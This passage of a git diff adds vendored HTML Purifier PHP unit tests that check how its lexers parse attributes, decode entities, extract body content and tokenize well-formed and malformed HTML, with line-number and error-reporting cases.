+ public function testCompareTo()
+ {
+ $this->assertComparison('12in', '12in');
+ $this->assertComparison('12in', '12mm', 1);
+ $this->assertComparison('1px', '1mm', -1);
+ $this->assertComparison(str_repeat('2', 38) . 'in', '100px', 1);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLexTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLexTest.php
new file mode 100644
index 000000000..ec5db62ee
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLexTest.php
@@ -0,0 +1,131 @@
+<?php
+
+class HTMLPurifier_Lexer_DirectLexTest extends HTMLPurifier_Harness
+{
+
+ protected $DirectLex;
+
+ public function setUp()
+ {
+ $this->DirectLex = new HTMLPurifier_Lexer_DirectLex();
+ }
+
+ // internals testing
+ public function test_parseAttributeString()
+ {
+ $input[0] = 'href="about:blank" rel="nofollow"';
+ $expect[0] = array('href'=>'about:blank', 'rel'=>'nofollow');
+
+ $input[1] = "href='about:blank'";
+ $expect[1] = array('href'=>'about:blank');
+
+ // note that the single quotes aren't /really/ escaped
+ $input[2] = 'onclick="javascript:alert(\'asdf\');"';
+ $expect[2] = array('onclick' => "javascript:alert('asdf');");
+
+ $input[3] = 'selected';
+ $expect[3] = array('selected'=>'selected');
+
+ // [INVALID]
+ $input[4] = '="nokey"';
+ $expect[4] = array();
+
+ // [SIMPLE]
+ $input[5] = 'color=blue';
+ $expect[5] = array('color' => 'blue');
+
+ // [INVALID]
+ $input[6] = 'href="about:blank';
+ $expect[6] = array('href' => 'about:blank');
+
+ // [INVALID]
+ $input[7] = '"=';
+ $expect[7] = array('"' => '');
+ // we ought to get array()
+
+ $input[8] = 'href ="about:blank"rel ="nofollow"';
+ $expect[8] = array('href' => 'about:blank', 'rel' => 'nofollow');
+
+ $input[9] = 'two bool';
+ $expect[9] = array('two' => 'two', 'bool' => 'bool');
+
+ $input[10] = 'name="input" selected';
+ $expect[10] = array('name' => 'input', 'selected' => 'selected');
+
+ $input[11] = '=""';
+ $expect[11] = array();
+
+ $input[12] = '="" =""';
+ $expect[12] = array(); // tough to say, just don't throw a loop
+
+ $input[13] = 'href="';
+ $expect[13] = array('href' => '');
+
+ $input[14] = 'href=" <';
+ $expect[14] = array('href' => ' <');
+
+ $config = HTMLPurifier_Config::createDefault();
+ $context = new HTMLPurifier_Context();
+ $size = count($input);
+ for($i = 0; $i < $size; $i++) {
+ $result = $this->DirectLex->parseAttributeString($input[$i], $config, $context);
+ $this->assertIdentical($expect[$i], $result, 'Test ' . $i . ': %s');
+ }
+
+ }
+
+ public function testLineNumbers()
+ {
+ // . . . . . . . . . .
+ // 01234567890123 01234567890123 0123456789012345 0123456789012 012345
+ $html = "<b>Line 1</b>\n<i>Line 2</i>\nStill Line 2<br\n/>Now Line 4\n\n<br />";
+
+ $expect = array(
+ // line 1
+ 0 => new HTMLPurifier_Token_Start('b')
+ ,1 => new HTMLPurifier_Token_Text('Line 1')
+ ,2 => new HTMLPurifier_Token_End('b')
+ ,3 => new HTMLPurifier_Token_Text("\n")
+ // line 2
+ ,4 => new HTMLPurifier_Token_Start('i')
+ ,5 => new HTMLPurifier_Token_Text('Line 2')
+ ,6 => new HTMLPurifier_Token_End('i')
+ ,7 => new HTMLPurifier_Token_Text("\nStill Line 2")
+ // line 3
+ ,8 => new HTMLPurifier_Token_Empty('br')
+ // line 4
+ ,9 => new HTMLPurifier_Token_Text("Now Line 4\n\n")
+ // line SIX
+ ,10 => new HTMLPurifier_Token_Empty('br')
+ );
+
+ $context = new HTMLPurifier_Context();
+ $config = HTMLPurifier_Config::createDefault();
+ $output = $this->DirectLex->tokenizeHTML($html, $config, $context);
+
+ $this->assertIdentical($output, $expect);
+
+ $context = new HTMLPurifier_Context();
+ $config = HTMLPurifier_Config::create(array(
+ 'Core.MaintainLineNumbers' => true
+ ));
+ $expect[0]->position(1, 0);
+ $expect[1]->position(1, 3);
+ $expect[2]->position(1, 9);
+ $expect[3]->position(2, -1);
+ $expect[4]->position(2, 0);
+ $expect[5]->position(2, 3);
+ $expect[6]->position(2, 9);
+ $expect[7]->position(3, -1);
+ $expect[8]->position(3, 12);
+ $expect[9]->position(4, 2);
+ $expect[10]->position(6, 0);
+
+ $output = $this->DirectLex->tokenizeHTML($html, $config, $context);
+ $this->assertIdentical($output, $expect);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php
new file mode 100644
index 000000000..40256c37c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php
@@ -0,0 +1,67 @@
+<?php
+
+class HTMLPurifier_Lexer_DirectLex_ErrorsTest extends HTMLPurifier_ErrorsHarness
+{
+
+ public function invoke($input)
+ {
+ $lexer = new HTMLPurifier_Lexer_DirectLex();
+ $lexer->tokenizeHTML($input, $this->config, $this->context);
+ }
+
+ public function invokeAttr($input)
+ {
+ $lexer = new HTMLPurifier_Lexer_DirectLex();
+ $lexer->parseAttributeString($input, $this->config, $this->context);
+ }
+
+ public function testExtractBody()
+ {
+ $this->expectErrorCollection(E_WARNING, 'Lexer: Extracted body');
+ $this->invoke('<body>foo</body>');
+ }
+
+ public function testUnclosedComment()
+ {
+ $this->expectErrorCollection(E_WARNING, 'Lexer: Unclosed comment');
+ $this->expectContext('CurrentLine', 1);
+ $this->invoke('<!-- >');
+ }
+
+ public function testUnescapedLt()
+ {
+ $this->expectErrorCollection(E_NOTICE, 'Lexer: Unescaped lt');
+ $this->expectContext('CurrentLine', 1);
+ $this->invoke('< foo>');
+ }
+
+ public function testMissingGt()
+ {
+ $this->expectErrorCollection(E_WARNING, 'Lexer: Missing gt');
+ $this->expectContext('CurrentLine', 1);
+ $this->invoke('<a href=""');
+ }
+
+ // these are sub-errors, will only be thrown in context of collector
+
+ public function testMissingAttributeKey1()
+ {
+ $this->expectErrorCollection(E_ERROR, 'Lexer: Missing attribute key');
+ $this->invokeAttr('=""');
+ }
+
+ public function testMissingAttributeKey2()
+ {
+ $this->expectErrorCollection(E_ERROR, 'Lexer: Missing attribute key');
+ $this->invokeAttr('foo="bar" =""');
+ }
+
+ public function testMissingEndQuote()
+ {
+ $this->expectErrorCollection(E_ERROR, 'Lexer: Missing end quote');
+ $this->invokeAttr('src="foo');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LexerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LexerTest.php
new file mode 100644
index 000000000..a2438a312
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LexerTest.php
@@ -0,0 +1,819 @@
+<?php
+
+class HTMLPurifier_LexerTest extends HTMLPurifier_Harness
+{
+
+ protected $_has_pear = false;
+
+ public function __construct()
+ {
+ parent::__construct();
+ if ($GLOBALS['HTMLPurifierTest']['PH5P']) {
+ require_once 'HTMLPurifier/Lexer/PH5P.php';
+ }
+ }
+
+ // HTMLPurifier_Lexer::create() --------------------------------------------
+
+ public function test_create()
+ {
+ $this->config->set('Core.MaintainLineNumbers', true);
+ $lexer = HTMLPurifier_Lexer::create($this->config);
+ $this->assertIsA($lexer, 'HTMLPurifier_Lexer_DirectLex');
+ }
+
+ public function test_create_objectLexerImpl()
+ {
+ $this->config->set('Core.LexerImpl', new HTMLPurifier_Lexer_DirectLex());
+ $lexer = HTMLPurifier_Lexer::create($this->config);
+ $this->assertIsA($lexer, 'HTMLPurifier_Lexer_DirectLex');
+ }
+
+ public function test_create_unknownLexer()
+ {
+ $this->config->set('Core.LexerImpl', 'AsdfAsdf');
+ $this->expectException(new HTMLPurifier_Exception('Cannot instantiate unrecognized Lexer type AsdfAsdf'));
+ HTMLPurifier_Lexer::create($this->config);
+ }
+
+ public function test_create_incompatibleLexer()
+ {
+ $this->config->set('Core.LexerImpl', 'DOMLex');
+ $this->config->set('Core.MaintainLineNumbers', true);
+ $this->expectException(new HTMLPurifier_Exception('Cannot use lexer that does not support line numbers with Core.MaintainLineNumbers or Core.CollectErrors (use DirectLex instead)'));
+ HTMLPurifier_Lexer::create($this->config);
+ }
+
+ // HTMLPurifier_Lexer->parseData() -----------------------------------------
+
+ public function assertParseData($input, $expect = true)
+ {
+ if ($expect === true) $expect = $input;
+ $lexer = new HTMLPurifier_Lexer();
+ $this->assertIdentical($expect, $lexer->parseData($input));
+ }
+
+ public function test_parseData_plainText()
+ {
+ $this->assertParseData('asdf');
+ }
+
+ public function test_parseData_ampersandEntity()
+ {
+ $this->assertParseData('&amp;', '&');
+ }
+
+ public function test_parseData_quotEntity()
+ {
+ $this->assertParseData('&quot;', '"');
+ }
+
+ public function test_parseData_aposNumericEntity()
+ {
+ $this->assertParseData('&#039;', "'");
+ }
+
+ public function test_parseData_aposCompactNumericEntity()
+ {
+ $this->assertParseData('&#39;', "'");
+ }
+
+ public function test_parseData_adjacentAmpersandEntities()
+ {
+ $this->assertParseData('&amp;&amp;&amp;', '&&&');
+ }
+
+ public function test_parseData_trailingUnescapedAmpersand()
+ {
+ $this->assertParseData('&amp;&', '&&');
+ }
+
+ public function test_parseData_internalUnescapedAmpersand()
+ {
+ $this->assertParseData('Procter & Gamble');
+ }
+
+ public function test_parseData_improperEntityFaultToleranceTest()
+ {
+ $this->assertParseData('&#x2D;');
+ }
+
+ // HTMLPurifier_Lexer->extractBody() ---------------------------------------
+
+ public function assertExtractBody($text, $extract = true)
+ {
+ $lexer = new HTMLPurifier_Lexer();
+ $result = $lexer->extractBody($text);
+ if ($extract === true) $extract = $text;
+ $this->assertIdentical($extract, $result);
+ }
+
+ public function test_extractBody_noBodyTags()
+ {
+ $this->assertExtractBody('<b>Bold</b>');
+ }
+
+ public function test_extractBody_lowercaseBodyTags()
+ {
+ $this->assertExtractBody('<html><body><b>Bold</b></body></html>', '<b>Bold</b>');
+ }
+
+ public function test_extractBody_uppercaseBodyTags()
+ {
+ $this->assertExtractBody('<HTML><BODY><B>Bold</B></BODY></HTML>', '<B>Bold</B>');
+ }
+
+ public function test_extractBody_realisticUseCase()
+ {
+ $this->assertExtractBody(
+'<?xml version="1.0"
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+ <head>
+ <title>xyz</title>
+ </head>
+ <body>
+ <form method="post" action="whatever1">
+ <div>
+ <input type="text" name="username" />
+ <input type="text" name="password" />
+ <input type="submit" />
+ </div>
+ </form>
+ </body>
+</html>',
+ '
+ <form method="post" action="whatever1">
+ <div>
+ <input type="text" name="username" />
+ <input type="text" name="password" />
+ <input type="submit" />
+ </div>
+ </form>
+ ');
+ }
+
+ public function test_extractBody_bodyWithAttributes()
+ {
+ $this->assertExtractBody('<html><body bgcolor="#F00"><b>Bold</b></body></html>', '<b>Bold</b>');
+ }
+
+ public function test_extractBody_preserveUnclosedBody()
+ {
+ $this->assertExtractBody('<body>asdf'); // not closed, don't accept
+ }
+
+ public function test_extractBody_useLastBody()
+ {
+ $this->assertExtractBody('<body>foo</body>bar</body>', 'foo</body>bar');
+ }
+
+ // HTMLPurifier_Lexer->tokenizeHTML() --------------------------------------
+
+ public function assertTokenization($input, $expect, $alt_expect = array())
+ {
+ $lexers = array();
+ $lexers['DirectLex'] = new HTMLPurifier_Lexer_DirectLex();
+ if (class_exists('DOMDocument')) {
+ $lexers['DOMLex'] = new HTMLPurifier_Lexer_DOMLex();
+ $lexers['PH5P'] = new HTMLPurifier_Lexer_PH5P();
+ }
+ foreach ($lexers as $name => $lexer) {
+ $result = $lexer->tokenizeHTML($input, $this->config, $this->context);
+ if (isset($alt_expect[$name])) {
+ if ($alt_expect[$name] === false) continue;
+ $t_expect = $alt_expect[$name];
+ $this->assertIdentical($result, $alt_expect[$name], "$name: %s");
+ } else {
+ $t_expect = $expect;
+ $this->assertIdentical($result, $expect, "$name: %s");
+ }
+ if ($t_expect != $result) {
+ printTokens($result);
+ }
+ }
+ }
+
+ public function test_tokenizeHTML_emptyInput()
+ {
+ $this->assertTokenization('', array());
+ }
+
+ public function test_tokenizeHTML_plainText()
+ {
+ $this->assertTokenization(
+ 'This is regular text.',
+ array(
+ new HTMLPurifier_Token_Text('This is regular text.')
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_textAndTags()
+ {
+ $this->assertTokenization(
+ 'This is <b>bold</b> text',
+ array(
+ new HTMLPurifier_Token_Text('This is '),
+ new HTMLPurifier_Token_Start('b', array()),
+ new HTMLPurifier_Token_Text('bold'),
+ new HTMLPurifier_Token_End('b'),
+ new HTMLPurifier_Token_Text(' text'),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_normalizeCase()
+ {
+ $this->assertTokenization(
+ '<DIV>Totally rad dude. <b>asdf</b></div>',
+ array(
+ new HTMLPurifier_Token_Start('DIV', array()),
+ new HTMLPurifier_Token_Text('Totally rad dude. '),
+ new HTMLPurifier_Token_Start('b', array()),
+ new HTMLPurifier_Token_Text('asdf'),
+ new HTMLPurifier_Token_End('b'),
+ new HTMLPurifier_Token_End('div'),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_notWellFormed()
+ {
+ $this->assertTokenization(
+ '<asdf></asdf><d></d><poOloka><poolasdf><ds></asdf></ASDF>',
+ array(
+ new HTMLPurifier_Token_Start('asdf'),
+ new HTMLPurifier_Token_End('asdf'),
+ new HTMLPurifier_Token_Start('d'),
+ new HTMLPurifier_Token_End('d'),
+ new HTMLPurifier_Token_Start('poOloka'),
+ new HTMLPurifier_Token_Start('poolasdf'),
+ new HTMLPurifier_Token_Start('ds'),
+ new HTMLPurifier_Token_End('asdf'),
+ new HTMLPurifier_Token_End('ASDF'),
+ ),
+ array(
+ 'DOMLex' => $alt = array(
+ new HTMLPurifier_Token_Empty('asdf'),
+ new HTMLPurifier_Token_Empty('d'),
+ new HTMLPurifier_Token_Start('pooloka'),
+ new HTMLPurifier_Token_Start('poolasdf'),
+ new HTMLPurifier_Token_Empty('ds'),
+ new HTMLPurifier_Token_End('poolasdf'),
+ new HTMLPurifier_Token_End('pooloka'),
+ ),
+ 'PH5P' => $alt,
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_whitespaceInTag()
+ {
+ $this->assertTokenization(
+ '<a'."\t".'href="foobar.php"'."\n".'title="foo!">Link to <b id="asdf">foobar</b></a>',
+ array(
+ new HTMLPurifier_Token_Start('a',array('href'=>'foobar.php','title'=>'foo!')),
+ new HTMLPurifier_Token_Text('Link to '),
+ new HTMLPurifier_Token_Start('b',array('id'=>'asdf')),
+ new HTMLPurifier_Token_Text('foobar'),
+ new HTMLPurifier_Token_End('b'),
+ new HTMLPurifier_Token_End('a'),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_singleAttribute()
+ {
+ $this->assertTokenization(
+ '<br style="&amp;" />',
+ array(
+ new HTMLPurifier_Token_Empty('br', array('style' => '&'))
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_emptyTag()
+ {
+ $this->assertTokenization(
+ '<br />',
+ array( new HTMLPurifier_Token_Empty('br') )
+ );
+ }
+
+ public function test_tokenizeHTML_comment()
+ {
+ $this->assertTokenization(
+ '<!-- Comment -->',
+ array( new HTMLPurifier_Token_Comment(' Comment ') )
+ );
+ }
+
+ public function test_tokenizeHTML_malformedComment()
+ {
+ $this->assertTokenization(
+ '<!-- not so well formed --->',
+ array( new HTMLPurifier_Token_Comment(' not so well formed -') )
+ );
+ }
+
+ public function test_tokenizeHTML_unterminatedTag()
+ {
+ $this->assertTokenization(
+ '<a href=""',
+ array( new HTMLPurifier_Token_Text('<a href=""') ),
+ array(
+ // I like our behavior better, but it's non-standard
+ 'DOMLex' => array( new HTMLPurifier_Token_Empty('a', array('href'=>'')) ),
+ 'PH5P' => false, // total barfing, grabs scaffolding too
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_specialEntities()
+ {
+ $this->assertTokenization(
+ '&lt;b&gt;',
+ array(
+ new HTMLPurifier_Token_Text('<b>')
+ ),
+ array(
+ // some parsers will separate entities out
+ 'PH5P' => array(
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('b'),
+ new HTMLPurifier_Token_Text('>'),
+ ),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_earlyQuote()
+ {
+ $this->assertTokenization(
+ '<a "=>',
+ array( new HTMLPurifier_Token_Empty('a') ),
+ array(
+ // we barf on this input
+ 'DirectLex' => array(
+ new HTMLPurifier_Token_Start('a', array('"' => ''))
+ ),
+ 'PH5P' => false, // behavior varies; handle this personally
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_earlyQuote_PH5P()
+ {
+ if (!class_exists('DOMDocument')) return;
+ $lexer = new HTMLPurifier_Lexer_PH5P();
+ $result = $lexer->tokenizeHTML('<a "=>', $this->config, $this->context);
+ if ($this->context->get('PH5PError', true)) {
+ $this->assertIdentical(array(
+ new HTMLPurifier_Token_Start('a', array('"' => ''))
+ ), $result);
+ } else {
+ $this->assertIdentical(array(
+ new HTMLPurifier_Token_Empty('a', array('"' => ''))
+ ), $result);
+ }
+ }
+
+ public function test_tokenizeHTML_unescapedQuote()
+ {
+ $this->assertTokenization(
+ '"',
+ array( new HTMLPurifier_Token_Text('"') )
+ );
+ }
+
+ public function test_tokenizeHTML_escapedQuote()
+ {
+ $this->assertTokenization(
+ '&quot;',
+ array( new HTMLPurifier_Token_Text('"') )
+ );
+ }
+
+ public function test_tokenizeHTML_cdata()
+ {
+ $this->assertTokenization(
+ '<![CDATA[You <b>can&#39;t</b> get me!]]>',
+ array( new HTMLPurifier_Token_Text('You <b>can&#39;t</b> get me!') ),
+ array(
+ 'PH5P' => array(
+ new HTMLPurifier_Token_Text('You '),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('b'),
+ new HTMLPurifier_Token_Text('>'),
+ new HTMLPurifier_Token_Text('can'),
+ new HTMLPurifier_Token_Text('&'),
+ new HTMLPurifier_Token_Text('#39;t'),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('/b'),
+ new HTMLPurifier_Token_Text('>'),
+ new HTMLPurifier_Token_Text(' get me!'),
+ ),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_characterEntity()
+ {
+ $this->assertTokenization(
+ '&theta;',
+ array( new HTMLPurifier_Token_Text("\xCE\xB8") )
+ );
+ }
+
+ public function test_tokenizeHTML_characterEntityInCDATA()
+ {
+ $this->assertTokenization(
+ '<![CDATA[&rarr;]]>',
+ array( new HTMLPurifier_Token_Text("&rarr;") ),
+ array(
+ 'PH5P' => array(
+ new HTMLPurifier_Token_Text('&'),
+ new HTMLPurifier_Token_Text('rarr;'),
+ ),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_entityInAttribute()
+ {
+ $this->assertTokenization(
+ '<a href="index.php?title=foo&amp;id=bar">Link</a>',
+ array(
+ new HTMLPurifier_Token_Start('a',array('href' => 'index.php?title=foo&id=bar')),
+ new HTMLPurifier_Token_Text('Link'),
+ new HTMLPurifier_Token_End('a'),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_preserveUTF8()
+ {
+ $this->assertTokenization(
+ "\xCE\xB8",
+ array( new HTMLPurifier_Token_Text("\xCE\xB8") )
+ );
+ }
+
+ public function test_tokenizeHTML_specialEntityInAttribute()
+ {
+ $this->assertTokenization(
+ '<br test="x &lt; 6" />',
+ array( new HTMLPurifier_Token_Empty('br', array('test' => 'x < 6')) )
+ );
+ }
+
+ public function test_tokenizeHTML_emoticonProtection()
+ {
+ $this->assertTokenization(
+ '<b>Whoa! <3 That\'s not good >.></b>',
+ array(
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('Whoa! '),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('3 That\'s not good >.>'),
+ new HTMLPurifier_Token_End('b')
+ ),
+ array(
+ // text is absorbed together
+ 'DOMLex' => array(
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('Whoa! <3 That\'s not good >.>'),
+ new HTMLPurifier_Token_End('b'),
+ ),
+ 'PH5P' => array( // interesting grouping
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('Whoa! '),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('3 That\'s not good >.>'),
+ new HTMLPurifier_Token_End('b'),
+ ),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_commentWithFunkyChars()
+ {
+ $this->assertTokenization(
+ '<!-- This >< comment --><br />',
+ array(
+ new HTMLPurifier_Token_Comment(' This >< comment '),
+ new HTMLPurifier_Token_Empty('br'),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_unterminatedComment()
+ {
+ $this->assertTokenization(
+ '<!-- This >< comment',
+ array( new HTMLPurifier_Token_Comment(' This >< comment') ),
+ array(
+ 'DOMLex' => false,
+ 'PH5P' => false,
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_scriptCDATAContents()
+ {
+ $this->config->set('HTML.Trusted', true);
+ $this->assertTokenization(
+ 'Foo: <script>alert("<foo>");</script>',
+ array(
+ new HTMLPurifier_Token_Text('Foo: '),
+ new HTMLPurifier_Token_Start('script'),
+ new HTMLPurifier_Token_Text('alert("<foo>");'),
+ new HTMLPurifier_Token_End('script'),
+ ),
+ array(
+ // PH5P, for some reason, bubbles the script to <head>
+ 'PH5P' => false,
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_entitiesInComment()
+ {
+ $this->assertTokenization(
+ '<!-- This comment < &lt; & -->',
+ array( new HTMLPurifier_Token_Comment(' This comment < &lt; & ') )
+ );
+ }
+
+ public function test_tokenizeHTML_attributeWithSpecialCharacters()
+ {
+ $this->assertTokenization(
+ '<a href="><>">',
+ array( new HTMLPurifier_Token_Empty('a', array('href' => '><>')) ),
+ array(
+ 'DirectLex' => array(
+ new HTMLPurifier_Token_Start('a', array('href' => '')),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('">'),
+ )
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_emptyTagWithSlashInAttribute()
+ {
+ $this->assertTokenization(
+ '<param name="src" value="http://example.com/video.wmv" />',
+ array( new HTMLPurifier_Token_Empty('param', array('name' => 'src', 'value' => 'http://example.com/video.wmv')) )
+ );
+ }
+
+ public function test_tokenizeHTML_style()
+ {
+ $extra = array(
+ // PH5P doesn't seem to like style tags
+ 'PH5P' => false,
+ // DirectLex defers to RemoveForeignElements for textification
+ 'DirectLex' => array(
+ new HTMLPurifier_Token_Start('style', array('type' => 'text/css')),
+ new HTMLPurifier_Token_Comment("\ndiv {}\n"),
+ new HTMLPurifier_Token_End('style'),
+ ),
+ );
+ if (!defined('LIBXML_VERSION')) {
+ // LIBXML_VERSION is missing in early versions of PHP
+ // prior to 1.30 of php-src/ext/libxml/libxml.c (version-wise,
+ // this translates to 5.0.x. In such cases, punt the test entirely.
+ return;
+ } elseif (LIBXML_VERSION < 20628) {
+ // libxml's behavior is wrong prior to this version, so make
+ // appropriate accomodations
+ $extra['DOMLex'] = $extra['DirectLex'];
+ }
+ $this->assertTokenization(
+'<style type="text/css"><!--
+div {}
+--></style>',
+ array(
+ new HTMLPurifier_Token_Start('style', array('type' => 'text/css')),
+ new HTMLPurifier_Token_Text("\ndiv {}\n"),
+ new HTMLPurifier_Token_End('style'),
+ ),
+ $extra
+ );
+ }
+
+ public function test_tokenizeHTML_tagWithAtSignAndExtraGt()
+ {
+ $alt_expect = array(
+ // Technically this is invalid, but it won't be a
+ // problem with invalid element removal; also, this
+ // mimics Mozilla's parsing of the tag.
+ new HTMLPurifier_Token_Start('a@'),
+ new HTMLPurifier_Token_Text('>'),
+ );
+ $this->assertTokenization(
+ '<a@>>',
+ array(
+ new HTMLPurifier_Token_Start('a'),
+ new HTMLPurifier_Token_Text('>'),
+ new HTMLPurifier_Token_End('a'),
+ ),
+ array(
+ 'DirectLex' => $alt_expect,
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_emoticonHeart()
+ {
+ $this->assertTokenization(
+ '<br /><3<br />',
+ array(
+ new HTMLPurifier_Token_Empty('br'),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('3'),
+ new HTMLPurifier_Token_Empty('br'),
+ ),
+ array(
+ 'DOMLex' => array(
+ new HTMLPurifier_Token_Empty('br'),
+ new HTMLPurifier_Token_Text('<3'),
+ new HTMLPurifier_Token_Empty('br'),
+ ),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_emoticonShiftyEyes()
+ {
+ $this->assertTokenization(
+ '<b><<</b>',
+ array(
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_End('b'),
+ ),
+ array(
+ 'DOMLex' => array(
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('<<'),
+ new HTMLPurifier_Token_End('b'),
+ ),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_eon1996()
+ {
+ $this->assertTokenization(
+ '< <b>test</b>',
+ array(
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text(' '),
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('test'),
+ new HTMLPurifier_Token_End('b'),
+ ),
+ array(
+ 'DOMLex' => array(
+ new HTMLPurifier_Token_Text('< '),
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('test'),
+ new HTMLPurifier_Token_End('b'),
+ ),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_bodyInCDATA()
+ {
+ $alt_tokens = array(
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('body'),
+ new HTMLPurifier_Token_Text('>'),
+ new HTMLPurifier_Token_Text('Foo'),
+ new HTMLPurifier_Token_Text('<'),
+ new HTMLPurifier_Token_Text('/body'),
+ new HTMLPurifier_Token_Text('>'),
+ );
+ $this->assertTokenization(
+ '<![CDATA[<body>Foo</body>]]>',
+ array(
+ new HTMLPurifier_Token_Text('<body>Foo</body>'),
+ ),
+ array(
+ 'PH5P' => $alt_tokens,
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_()
+ {
+ $this->assertTokenization(
+ '<a><img /></a>',
+ array(
+ new HTMLPurifier_Token_Start('a'),
+ new HTMLPurifier_Token_Empty('img'),
+ new HTMLPurifier_Token_End('a'),
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_ignoreIECondComment()
+ {
+ $this->assertTokenization(
+ '<!--[if IE]>foo<a>bar<!-- baz --><![endif]-->',
+ array()
+ );
+ }
+
+ public function test_tokenizeHTML_removeProcessingInstruction()
+ {
+ $this->config->set('Core.RemoveProcessingInstructions', true);
+ $this->assertTokenization(
+ '<?xml blah blah ?>',
+ array()
+ );
+ }
+
+ public function test_tokenizeHTML_removeNewline()
+ {
+ $this->config->set('Core.NormalizeNewlines', true);
+ $this->assertTokenization(
+ "plain\rtext\r\n",
+ array(
+ new HTMLPurifier_Token_Text("plain\ntext\n")
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_noRemoveNewline()
+ {
+ $this->config->set('Core.NormalizeNewlines', false);
+ $this->assertTokenization(
+ "plain\rtext\r\n",
+ array(
+ new HTMLPurifier_Token_Text("plain\rtext\r\n")
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_conditionalCommentUngreedy()
+ {
+ $this->assertTokenization(
+ '<!--[if gte mso 9]>a<![endif]-->b<!--[if gte mso 9]>c<![endif]-->',
+ array(
+ new HTMLPurifier_Token_Text("b")
+ )
+ );
+ }
+
+ public function test_tokenizeHTML_imgTag()
+ {
+ $start = array(
+ new HTMLPurifier_Token_Start('img',
+ array(
+ 'src' => 'img_11775.jpg',
+ 'alt' => '[Img #11775]',
+ 'id' => 'EMBEDDED_IMG_11775',
+ )
+ )
+ );
+ $this->assertTokenization(
+ '<img src="img_11775.jpg" alt="[Img #11775]" id="EMBEDDED_IMG_11775" >',
+ array(
+ new HTMLPurifier_Token_Empty('img',
+ array(
+ 'src' => 'img_11775.jpg',
+ 'alt' => '[Img #11775]',
+ 'id' => 'EMBEDDED_IMG_11775',
+ )
+ )
+ ),
+ array(
+ 'DirectLex' => $start,
+ )
+ );
+ }
+
+
+ /*
+
+ public function test_tokenizeHTML_()
+ {
+ $this->assertTokenization(
+ ,
+ array(
+
+ )
+ );
+ }
+ */
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/.gitignore b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/.gitignore
new file mode 100644
index 000000000..cde8069e1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/.gitignore
@@ -0,0 +1 @@
+*.php
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt
new file mode 100644
index 000000000..406ac400b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt
@@ -0,0 +1,15 @@
+--TEST--
+DirectLex with domxml test
+--SKIPIF--
+<?php
